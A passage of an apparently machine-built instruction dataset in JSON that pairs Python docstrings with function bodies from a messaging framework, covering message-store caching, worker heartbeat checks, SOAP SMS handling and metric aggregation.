range\nrepresentable by the datetime module. The result is returned as a\nhexadecimal string..", "conversation_id": 531, "message_id": 1 }, { "role": "assistant", "content": "def to_reverse_timestamp(vumi_timestamp):\n timestamp = timegm(parse_vumi_date(vumi_timestamp).timetuple())\n return \"%X\" % (0xffffffffff - timestamp)", "conversation_id": 531, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 532, "message_id": 0 }, { "role": "user", "content": "Add a key and timestamp to the manager..", "conversation_id": 532, "message_id": 1 }, { "role": "assistant", "content": "def add_key(self, key, timestamp):\n if timestamp > self.start_timestamp:\n self.new_keys.append((key, timestamp))\n return None\n self.cache_keys.append((key, timestamp))\n if len(self.cache_keys) > self.key_count:\n return self.cache_keys.pop(0)\n return None", "conversation_id": 532, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 533, "message_id": 0 }, { "role": "user", "content": "Check if a batch_id's cache values need to be reconciled with\nwhat's stored in the MessageStore..", "conversation_id": 533, "message_id": 1 }, { "role": "assistant", "content": "def needs_reconciliation(self, batch_id, delta=0.01):\n inbound = float((yield self.batch_inbound_count(batch_id)))\n cached_inbound = yield self.cache.count_inbound_message_keys(\n batch_id)\n if inbound and (abs(cached_inbound - inbound) / inbound) > delta:\n returnValue(True)\n outbound = float((yield self.batch_outbound_count(batch_id)))\n cached_outbound = yield self.cache.count_outbound_message_keys(\n batch_id)\n if outbound and (abs(cached_outbound - outbound) / outbound) > delta:\n returnValue(True)\n returnValue(False)", "conversation_id": 533, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 534, "message_id": 0 }, { "role": "user", "content": "Rebuild the cache for the given batch.\nThe ``start_timestamp`` parameter is used for testing only..", "conversation_id": 534, "message_id": 1 }, { "role": "assistant", "content": "def reconcile_cache(self, batch_id, start_timestamp=None):\n if start_timestamp is None:\n start_timestamp = format_vumi_date(datetime.utcnow())\n yield self.cache.clear_batch(batch_id)\n yield self.cache.batch_start(batch_id)\n yield self.reconcile_outbound_cache(batch_id, start_timestamp)\n yield self.reconcile_inbound_cache(batch_id, start_timestamp)", "conversation_id": 534, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 535, "message_id": 0 }, { "role": "user", "content": "Rebuild the inbound message cache..", "conversation_id": 535, "message_id": 1 }, { "role": "assistant", "content": "def reconcile_inbound_cache(self, batch_id, start_timestamp):\n key_manager = ReconKeyManager(\n start_timestamp, self.cache.TRUNCATE_MESSAGE_KEY_COUNT_AT)\n key_count = 0\n index_page = yield self.batch_inbound_keys_with_addresses(batch_id)\n while index_page is not None:\n for key, timestamp, addr in index_page:\n yield self.cache.add_from_addr(batch_id, addr)\n old_key = key_manager.add_key(key, timestamp)\n if old_key is not None:\n key_count += 1\n index_page = yield index_page.next_page()\n yield self.cache.add_inbound_message_count(batch_id, key_count)\n for key, timestamp in key_manager:\n try:\n yield self.cache.add_inbound_message_key(\n batch_id, key, self.cache.get_timestamp(timestamp))\n except:\n log.err()", "conversation_id": 535, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 536, "message_id": 0 }, { "role": "user", "content": "Rebuild the outbound message cache..", "conversation_id": 536, "message_id": 1 }, { "role": "assistant", "content": "def reconcile_outbound_cache(self, batch_id, start_timestamp):\n key_manager = ReconKeyManager(\n start_timestamp, self.cache.TRUNCATE_MESSAGE_KEY_COUNT_AT)\n key_count = 0\n status_counts = defaultdict(int)\n index_page = yield self.batch_outbound_keys_with_addresses(batch_id)\n while index_page is not None:\n for key, timestamp, addr in index_page:\n yield self.cache.add_to_addr(batch_id, addr)\n old_key = key_manager.add_key(key, timestamp)\n if old_key is not None:\n key_count += 1\n sc = yield self.get_event_counts(old_key[0])\n for status, count in sc.iteritems():\n status_counts[status] += count\n index_page = yield index_page.next_page()\n yield self.cache.add_outbound_message_count(batch_id, key_count)\n for status, count in status_counts.iteritems():\n yield self.cache.add_event_count(batch_id, status, count)\n for key, timestamp in key_manager:\n try:\n yield self.cache.add_outbound_message_key(\n batch_id, key, self.cache.get_timestamp(timestamp))\n yield self.reconcile_event_cache(batch_id, key)\n except:\n log.err()", "conversation_id": 536, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 537, "message_id": 0 }, { "role": "user", "content": "Update the event cache for a particular message..", "conversation_id": 537, "message_id": 1 }, { "role": "assistant", "content": "def reconcile_event_cache(self, batch_id, message_id):\n event_keys = yield self.message_event_keys(message_id)\n for event_key in event_keys:\n event = yield self.get_event(event_key)\n yield self.cache.add_event(batch_id, event)", "conversation_id": 537, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 538, "message_id": 0 }, { "role": "user", "content": "Has the message search issue a `batch_inbound_keys_matching()`\nquery and stores the resulting keys in the cache ordered by\ndescending timestamp..", "conversation_id": 538, "message_id": 1 }, { "role": "assistant", "content": "def find_inbound_keys_matching(self, batch_id, query, ttl=None,\n wait=False):\n assert isinstance(self.manager, TxRiakManager), (\n \"manager is not an instance of TxRiakManager\")\n token = yield self.cache.start_query(batch_id, 'inbound', query)\n deferred = self.batch_inbound_keys_matching(batch_id, query)\n deferred.addCallback(\n lambda keys: self.cache.store_query_results(batch_id, token, keys,\n 'inbound', ttl))\n if wait:\n yield deferred\n returnValue(token)", "conversation_id": 538, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 539, "message_id": 0 }, { "role": "user", "content": "Has the message search issue a `batch_outbound_keys_matching()`\nquery and stores the resulting keys in the cache ordered by\ndescending timestamp..", "conversation_id": 539, "message_id": 1 }, { "role": "assistant", "content": "def find_outbound_keys_matching(self, batch_id, query, ttl=None,\n wait=False):\n token = yield self.cache.start_query(batch_id, 'outbound', query)\n deferred = self.batch_outbound_keys_matching(batch_id, query)\n deferred.addCallback(\n lambda keys: self.cache.store_query_results(batch_id, token, keys,\n 'outbound', ttl))\n if wait:\n yield deferred\n returnValue(token)", "conversation_id": 539, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 540, "message_id": 0 }, { "role": "user", "content": "Count the number of keys in the token's result set..", "conversation_id": 540, "message_id": 1 }, { "role": "assistant", "content": "def count_keys_for_token(self, batch_id, token):\n return self.cache.count_query_results(batch_id, token)", "conversation_id": 540, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 541, "message_id": 0 }, { "role": "user", "content": "Return True or False depending on whether or not the query is\nstill running.", "conversation_id": 541, "message_id": 1 }, { "role": "assistant", "content": "def is_query_in_progress(self, batch_id, token):\n return self.cache.is_query_in_progress(batch_id, token)", "conversation_id": 541, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 542, "message_id": 0 }, { "role": "user", "content": "Return all inbound message keys with (and ordered by) timestamps..", "conversation_id": 542, "message_id": 1 }, { "role": "assistant", "content": "def batch_inbound_keys_with_timestamps(self, batch_id, max_results=None,\n start=None, end=None,\n with_timestamps=True):\n formatter = key_with_ts_only_formatter if with_timestamps else None\n return self._query_batch_index(\n self.inbound_messages, batch_id, 'batches_with_addresses',\n max_results, start, end, formatter)", "conversation_id": 542, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 543, "message_id": 0 }, { "role": "user", "content": "Return all outbound message keys with (and ordered by) timestamps..", "conversation_id": 543, "message_id": 1 }, { "role": "assistant", "content": "def batch_outbound_keys_with_timestamps(self, batch_id, max_results=None,\n start=None, end=None,\n with_timestamps=True):\n formatter = key_with_ts_only_formatter if with_timestamps else None\n return self._query_batch_index(\n self.outbound_messages, batch_id, 'batches_with_addresses',\n max_results, start, end, formatter)", "conversation_id": 543, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 544, "message_id": 0 }, { "role": "user", "content": "Return all inbound message keys with (and ordered by) timestamps and\naddresses..", "conversation_id": 544, "message_id": 1 }, { "role": "assistant", "content": "def batch_inbound_keys_with_addresses(self, batch_id, max_results=None,\n start=None, end=None):\n return self._query_batch_index(\n self.inbound_messages, batch_id, 'batches_with_addresses',\n max_results, start, end, key_with_ts_and_value_formatter)", "conversation_id": 544, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 545, "message_id": 0 }, { "role": "user", "content": "Return all outbound message keys with (and ordered by) timestamps and\naddresses..", "conversation_id": 545, "message_id": 1 }, { "role": "assistant", "content": "def batch_outbound_keys_with_addresses(self, batch_id, max_results=None,\n start=None, end=None):\n return self._query_batch_index(\n self.outbound_messages, batch_id, 'batches_with_addresses',\n max_results, start, end, key_with_ts_and_value_formatter)", "conversation_id": 545, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 546, "message_id": 0 }, { "role": "user", "content": "Return all inbound message keys with timestamps and addresses.\nResults are ordered from newest to oldest..", "conversation_id": 546, "message_id": 1 }, { "role": "assistant", "content": "def batch_inbound_keys_with_addresses_reverse(self, batch_id,\n max_results=None,\n start=None, end=None):\n if start is not None:\n start = to_reverse_timestamp(start)\n if end is not None:\n end = to_reverse_timestamp(end)\n start, end = end, start\n return self._query_batch_index(\n self.inbound_messages, batch_id, 'batches_with_addresses_reverse',\n max_results, start, end, key_with_rts_and_value_formatter)", "conversation_id": 546, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 547, "message_id": 0 }, { "role": "user", "content": "Return all outbound message keys with timestamps and addresses.\nResults are ordered from newest to oldest..", "conversation_id": 547, "message_id": 1 }, { "role": "assistant", "content": "def batch_outbound_keys_with_addresses_reverse(self, batch_id,\n max_results=None,\n start=None, end=None):\n if start is not None:\n start = to_reverse_timestamp(start)\n if end is not None:\n end = to_reverse_timestamp(end)\n start, end = end, start\n return self._query_batch_index(\n self.outbound_messages, batch_id, 'batches_with_addresses_reverse',\n max_results, start, end, key_with_rts_and_value_formatter)", "conversation_id": 547, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 548, "message_id": 0 }, { "role": "user", "content": "Return all event keys with timestamps and statuses.\nResults are ordered from newest to oldest..", "conversation_id": 548, "message_id": 1 }, { "role": "assistant", "content": "def batch_event_keys_with_statuses_reverse(self, batch_id,\n max_results=None,\n start=None, end=None):\n if start is not None:\n start = to_reverse_timestamp(start)\n if end is not None:\n end = to_reverse_timestamp(end)\n start, end = end, start\n return self._query_batch_index(\n self.events, batch_id, 'batches_with_statuses_reverse',\n max_results, start, end, key_with_rts_and_value_formatter)", "conversation_id": 548, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 549, "message_id": 0 }, { "role": "user", "content": "Return all event keys with (and ordered by) timestamps and statuses..", "conversation_id": 549, "message_id": 1 }, { "role": "assistant", "content": "def message_event_keys_with_statuses(self, msg_id, max_results=None):\n if max_results is None:\n max_results = self.DEFAULT_MAX_RESULTS\n start_value, end_value = self._start_end_values(msg_id, None, None)\n results = yield self.events.index_keys_page(\n 'message_with_status', start_value, end_value,\n return_terms=True, max_results=max_results)\n returnValue(IndexPageWrapper(\n key_with_ts_and_value_formatter, self, msg_id, results))", "conversation_id": 549, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 550, "message_id": 0 }, { "role": "user", "content": "Return inbound message stats for the specified time range.\nCurrently, message stats include total message count and unique address\ncount..", "conversation_id": 550, "message_id": 1 }, { "role": "assistant", "content": "def batch_inbound_stats(self, batch_id, max_results=None,\n start=None, end=None):\n total = 0\n unique_addresses = set()\n start_value, end_value = self._start_end_values(batch_id, start, end)\n if max_results is None:\n max_results = self.DEFAULT_MAX_RESULTS\n raw_page = yield self.inbound_messages.index_keys_page(\n 'batches_with_addresses', start_value, end_value,\n return_terms=True, max_results=max_results)\n page = IndexPageWrapper(\n key_with_ts_and_value_formatter, self, batch_id, raw_page)\n while page is not None:\n results = list(page)\n total += len(results)\n unique_addresses.update(addr for key, timestamp, addr in results)\n page = yield page.next_page()\n returnValue({\n \"total\": total,\n \"unique_addresses\": len(unique_addresses),\n })", "conversation_id": 550, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 551, "message_id": 0 }, { "role": "user", "content": "Return outbound message stats for the specified time range.\nCurrently, message stats include total message count and unique address\ncount..", "conversation_id": 551, "message_id": 1 }, { "role": "assistant", "content": "def batch_outbound_stats(self, batch_id, max_results=None,\n start=None, end=None):\n total = 0\n unique_addresses = set()\n start_value, end_value = self._start_end_values(batch_id, start, end)\n if max_results is None:\n max_results = self.DEFAULT_MAX_RESULTS\n raw_page = yield self.outbound_messages.index_keys_page(\n 'batches_with_addresses', start_value, end_value,\n return_terms=True, max_results=max_results)\n page = IndexPageWrapper(\n key_with_ts_and_value_formatter, self, batch_id, raw_page)\n while page is not None:\n results = list(page)\n total += len(results)\n unique_addresses.update(addr for key, timestamp, addr in results)\n page = yield page.next_page()\n returnValue({\n \"total\": total,\n \"unique_addresses\": len(unique_addresses),\n })", "conversation_id": 551, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 552, "message_id": 0 }, { "role": "user", "content": "Wrap a raw index page object if it is not None..", "conversation_id": 552, "message_id": 1 }, { "role": "assistant", "content": "def _wrap_index_page(self, index_page):\n if index_page is not None:\n index_page = type(self)(\n self._formatter, self._message_store, self._batch_id,\n index_page)\n return index_page", "conversation_id": 552, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 553, "message_id": 0 }, { "role": "user", "content": "Fetch the next page of results..", "conversation_id": 553, "message_id": 1 }, { "role": "assistant", "content": "def next_page(self):\n next_page = yield self._index_page.next_page()\n returnValue(self._wrap_index_page(next_page))", "conversation_id": 553, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 554, "message_id": 0 }, { "role": "user", "content": "Indicate whether there are more results to follow..", "conversation_id": 554, "message_id": 1 }, { "role": "assistant", "content": "def has_next_page(self):\n return self._index_page.has_next_page()", "conversation_id": 554, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 555, "message_id": 0 }, { "role": "user", "content": "Post-migrate function to be used with `vumi_model_migrator` to add batches\nto stored events that don't have any..", "conversation_id": 555, "message_id": 1 }, { "role": "assistant", "content": "def add_batches_to_event(stored_event):\n if stored_event.batches.keys():\n returnValue(False)\n outbound_messages = stored_event.manager.proxy(OutboundMessage)\n msg_record = yield outbound_messages.load(stored_event.message.key)\n if msg_record is not None:\n for batch_id in msg_record.batches.keys():\n stored_event.batches.add_key(batch_id)\n returnValue(True)", "conversation_id": 555, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 556, "message_id": 0 }, { "role": "user", "content": "Publishes a status if it is not a repeat of the previously\npublished status..", "conversation_id": 556, "message_id": 1 }, { "role": "assistant", "content": "def add_status(self, **kw):\n if self.status_detect.check_status(**kw):\n return self.publish_status(**kw)\n return succeed(None)", "conversation_id": 556, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 557, "message_id": 0 }, { "role": "user", "content": "Can be overridden by subclasses to do something when the\nresponse time is high enough for the transport to be considered\nnon-functioning..", "conversation_id": 557, "message_id": 1 }, { "role": "assistant", "content": "def on_down_response_time(self, message_id, time):\n pass", "conversation_id": 557, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 558, "message_id": 0 }, { "role": "user", "content": "Can be overridden by subclasses to do something when the\nresponse time is high enough for the transport to be considered\nrunning in a degraded state..", "conversation_id": 558, "message_id": 1 }, { "role": "assistant", "content": "def on_degraded_response_time(self, message_id, time):\n pass", "conversation_id": 558, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 559, "message_id": 0 }, { "role": "user", "content": "Can be overridden by subclasses to do something when the\nresponse time is low enough for the transport to be considered\nrunning normally..", "conversation_id": 559, "message_id": 1 }, { "role": "assistant", "content": "def on_good_response_time(self, message_id, time):\n pass", "conversation_id": 559, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 560, "message_id": 0 }, { "role": "user", "content": "helper to check whether a config key is defined. Only used for\nverifying dict fields in the new-style configs.", "conversation_id": 560, "message_id": 1 }, { "role": "assistant", "content": "def assert_field(cfg, key):\n if key not in cfg:\n raise ConfigError(\"Expected '%s' field in config\" % key)", "conversation_id": 560, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 561, "message_id": 0 }, { "role": "user", "content": "Compute the number of worker instances running on each host..", "conversation_id": 561, "message_id": 1 }, { "role": "assistant", "content": "def _compute_host_info(self, instances):\n counts = {}\n for ins in instances:\n counts[ins.hostname] = 0\n for ins in instances:\n counts[ins.hostname] = counts[ins.hostname] + 1\n return counts", "conversation_id": 561, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 562, "message_id": 0 }, { "role": "user", "content": "Verify whether enough workers checked in.\nMake sure to call snapshot() before running this method.", "conversation_id": 562, "message_id": 1 }, { "role": "assistant", "content": "def audit(self, storage):\n count = len(self._instances)\n if (count >= self.min_procs) and (self.procs_count < self.min_procs):\n yield storage.delete_worker_issue(self.worker_id)\n if count < self.min_procs:\n issue = WorkerIssue(\"min-procs-fail\", time.time(), count)\n yield storage.open_or_update_issue(self.worker_id, issue)\n self.procs_count = count", "conversation_id": 562, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 563, "message_id": 0 }, { "role": "user", "content": "This method must be run before any diagnostic audit and analyses\nWhat it does is clear the instances_active set in preparation for\nall the instances which will check-in in the next interval.\n\nAll diagnostics are based on the _instances_active set, which\nholds all the instances which checked-in the previous interval..", "conversation_id": 563, "message_id": 1 }, { "role": "assistant", "content": "def snapshot(self):\n self._instances = self._instances_active\n self._instances_active = set()", "conversation_id": 563, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 564, "message_id": 0 }, { "role": "user", "content": "Parse configuration and populate in-memory state.", "conversation_id": 564, "message_id": 1 }, { "role": "assistant", "content": "def parse_config(self, config):\n systems = []\n workers = {}\n for sys in config.values():\n assert_field(sys, 'workers')\n assert_field(sys, 'system_id')\n system_id = sys['system_id']\n system_workers = []\n for wkr_entry in sys['workers'].values():\n assert_field(wkr_entry, 'name')\n assert_field(wkr_entry, 'min_procs')\n worker_name = wkr_entry['name']\n min_procs = wkr_entry['min_procs']\n wkr = Worker(system_id,\n worker_name,\n min_procs)\n workers[wkr.worker_id] = wkr\n system_workers.append(wkr)\n systems.append(System(system_id, system_id, system_workers))\n return systems, workers", "conversation_id": 564, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 565, "message_id": 0 }, { "role": "user", "content": "Iterate over worker instance sets and check to see whether any have not\nchecked-in on time.\n\nWe call snapshot() first, since the execution of tasks here is\ninterleaved with the processing of worker heartbeat messages..", "conversation_id": 565, "message_id": 1 }, { "role": "assistant", "content": "def _periodic_task(self):\n for wkr in self._workers.values():\n wkr.snapshot()\n for wkr in self._workers.values():\n yield wkr.audit(self._storage)\n yield self._sync_to_storage()", "conversation_id": 565, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 566, "message_id": 0 }, { "role": "user", "content": "Create a timer task to check for missing worker.", "conversation_id": 566, "message_id": 1 }, { "role": "assistant", "content": "def _start_task(self):\n self._task = LoopingCall(self._periodic_task)\n self._task_done = self._task.start(self.deadline, now=False)\n errfn = lambda failure: log.err(failure,\n \"Heartbeat verify: timer task died\")\n self._task_done.addErrback(errfn)", "conversation_id": 566, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 567, "message_id": 0 }, { "role": "user", "content": "Find vumi message ids associated with SMPP sequence numbers..", "conversation_id": 567, "message_id": 1 }, { "role": "assistant", "content": "def lookup_message_ids(self, service, seq_nums):\n lookup_func = service.message_stash.get_sequence_number_message_id\n return gatherResults([lookup_func(seq_num) for seq_num in seq_nums])", "conversation_id": 567, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 568, "message_id": 0 }, { "role": "user", "content": "Clean-up of setup done in setup_application should happen here..", "conversation_id": 568, "message_id": 1 }, { "role": "assistant", "content": "def teardown_application(self):\n pass", "conversation_id": 568, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 569, "message_id": 0 }, { "role": "user", "content": "Respond to a new session.\nDefaults to calling consume_user_message..", "conversation_id": 569, "message_id": 1 }, { "role": "assistant", "content": "def new_session(self, message):\n return self.consume_user_message(message)", "conversation_id": 569, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 570, "message_id": 0 }, { "role": "user", "content": "Close a session.\nThe .reply_to() method should not be called when the session is closed..", "conversation_id": 570, "message_id": 1 }, { "role": "assistant", "content": "def close_session(self, message):\n pass", "conversation_id": 570, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 571, "message_id": 0 }, { "role": "user", "content": "Check that endpoint is in the list of allowed endpoints..", "conversation_id": 571, "message_id": 1 }, { "role": "assistant", "content": "def check_endpoint(allowed_endpoints, endpoint):\n if allowed_endpoints is None:\n return\n if endpoint is None:\n endpoint = \"default\"\n if endpoint not in allowed_endpoints:\n raise InvalidEndpoint(\n \"Endpoint %r not defined in list of allowed endpoints %r\"\n % (endpoint, allowed_endpoints))", "conversation_id": 571, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 572, "message_id": 0 }, { "role": "user", "content": "Make an AST node with the relevant bits attached..", "conversation_id": 572, "message_id": 1 }, { "role": "assistant", "content": "def _mknode(cls, **kw):\n node = cls()\n node.lineno = 0\n node.col_offset = 0\n for k, v in kw.items():\n setattr(node, k, v)\n return node", "conversation_id": 572, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 573, "message_id": 0 }, { "role": "user", "content": "Create a function that has a nice signature and calls out to ``func``..", "conversation_id": 573, "message_id": 1 }, { "role": "assistant", "content": "def make_function(name, func, args, vararg=None, kwarg=None, defaults=()):\n dflts = [(\"default_%s\" % i, d) for i, d in enumerate(defaults)]\n a_args = [_param(a) for a in args]\n a_defaults = [_load(k) for k, v in dflts]\n c_args = [_load(a) for a in args[:len(args) - len(defaults)]]\n c_keywords = [_kw(a) for a in args[len(args) - len(defaults):]]\n call = Call(func=_load('func'), args=c_args, keywords=c_keywords,\n starargs=(vararg and _load(vararg)),\n kwargs=(kwarg and _load(kwarg)))\n func_def = FunctionDef(\n name=name, args=arguments(\n args=a_args, vararg=vararg, kwarg=kwarg, defaults=a_defaults),\n body=[Return(value=call)], decorator_list=[])\n locs = {}\n globs = dict(globals(), func=func, **dict(dflts))\n eval(compile(Module(body=[func_def]), '', 'exec'), globs, locs)\n return locs[name]", "conversation_id": 573, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 574, "message_id": 0 }, { "role": "user", "content": "Fetch the next page of results..", "conversation_id": 574, "message_id": 1 }, { "role": "assistant", "content": "def next_page(self):\n if not self.has_next_page():\n return None\n try:\n result = self._index_page.next_page()\n except RiakError as e:\n raise VumiRiakError(e)\n return type(self)(result)", "conversation_id": 574, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 575, "message_id": 0 }, { "role": "user", "content": "Call a function that touches the network and wrap the result in this\nclass..", "conversation_id": 575, "message_id": 1 }, { "role": "assistant", "content": "def _call_and_wrap(self, func):\n return type(self)(func())", "conversation_id": 575, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 576, "message_id": 0 }, { "role": "user", "content": "Create an `SmsMessage` instance from an ElementTree element..", "conversation_id": 576, "message_id": 1 }, { "role": "assistant", "content": "def from_element(cls, root):\n return cls(\n message=gettext(root, 'message'),\n sender_address=gettext(\n root, 'senderAddress', parse=normalize_address),\n service_activation_number=gettext(\n root, 'smsServiceActivationNumber', parse=normalize_address),\n timestamp=gettext(root, 'dateTime', parse=iso8601.parse_date))", "conversation_id": 576, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 577, "message_id": 0 }, { "role": "user", "content": "Create a `DeliveryInformation` instance from an ElementTree element..", "conversation_id": 577, "message_id": 1 }, { "role": "assistant", "content": "def from_element(cls, root):\n try:\n delivery_status = gettext(\n root, 'deliveryStatus', parse=DeliveryStatus.lookupByName)\n except ValueError, e:\n raise ValueError(\n 'No such delivery status enumeration value: %r' % (str(e),))\n else:\n return cls(\n address=gettext(root, 'address', parse=normalize_address),\n delivery_status=delivery_status)", "conversation_id": 577, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 578, "message_id": 0 }, { "role": "user", "content": "Process a SOAP request and convert any exceptions into SOAP faults..", "conversation_id": 578, "message_id": 1 }, { "role": "assistant", "content": "def render_POST(self, request):\n def _writeResponse(response):\n request.setHeader('Content-Type', 'text/xml; charset=\"utf-8\"')\n request.write(tostring(soap_envelope(response)))\n request.finish()\n def _handleSuccess(result):\n request.setResponseCode(http.OK)\n return result\n def _handleError(f):\n log.err(f, 'Failure processing SOAP request')\n request.setResponseCode(http.INTERNAL_SERVER_ERROR)\n faultcode = u'soapenv:Server'\n if f.check(SoapFault):\n return f.value.to_element()\n return soap_fault(faultcode, f.getErrorMessage())\n try:\n tree = parse_document(request.content)\n body, header = unwrap_soap_envelope(tree)\n except:\n d = fail()\n else:\n d = maybeDeferred(self.process, request, body, header)\n d.addCallback(_handleSuccess)\n d.addErrback(_handleError)\n d.addCallback(_writeResponse)\n return NOT_DONE_YET", "conversation_id": 578, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 579, "message_id": 0 }, { "role": "user", "content": "Process a received text message..", "conversation_id": 579, "message_id": 1 }, { "role": "assistant", "content": "def process_notifySmsReception(self, root, header, name):\n linkid = None\n if header is not None:\n linkid = gettext(header, './/' + str(PARLAYX_COMMON_NS.linkid))\n correlator = gettext(root, NOTIFICATION_NS.correlator)\n message = SmsMessage.from_element(\n elemfind(root, NOTIFICATION_NS.message))\n d = maybeDeferred(\n self.callback_message_received, correlator, linkid, message)\n d.addCallback(\n lambda ignored: NOTIFICATION_NS.notifySmsReceptionResponse())\n return d", "conversation_id": 579, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 580, "message_id": 0 }, { "role": "user", "content": "Process a text message delivery receipt..", "conversation_id": 580, "message_id": 1 }, { "role": "assistant", "content": "def process_notifySmsDeliveryReceipt(self, root, header, name):\n correlator = gettext(root, NOTIFICATION_NS.correlator)\n delivery_info = DeliveryInformation.from_element(\n elemfind(root, NOTIFICATION_NS.deliveryStatus))\n d = maybeDeferred(self.callback_message_delivered,\n correlator, delivery_info.delivery_status.value)\n d.addCallback(\n lambda ignored: NOTIFICATION_NS.notifySmsDeliveryReceiptResponse())\n return d", "conversation_id": 580, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 581, "message_id": 0 }, { "role": "user", "content": "Periodically clean out old buckets and calculate aggregates..", "conversation_id": 581, "message_id": 1 }, { "role": "assistant", "content": "def check_buckets(self):\n current_ts_key = self._ts_key(self._time() - self.lag) - 1\n for ts_key in self.buckets.keys():\n if ts_key <= self._last_ts_key:\n log.err(DiscardedMetricError(\"Throwing way old metric data: %r\"\n % self.buckets[ts_key]))\n del self.buckets[ts_key]\n elif ts_key <= current_ts_key:\n aggregates = []\n ts = ts_key * self.bucket_size\n items = self.buckets[ts_key].iteritems()\n for metric_name, (agg_set, values) in items:\n values = [v for t, v in sorted(values)]\n for agg_name in agg_set:\n agg_metric = \"%s.%s\" % (metric_name, agg_name)\n agg_func = Aggregator.from_name(agg_name)\n agg_value = agg_func(values)\n aggregates.append((agg_metric, agg_value))\n for 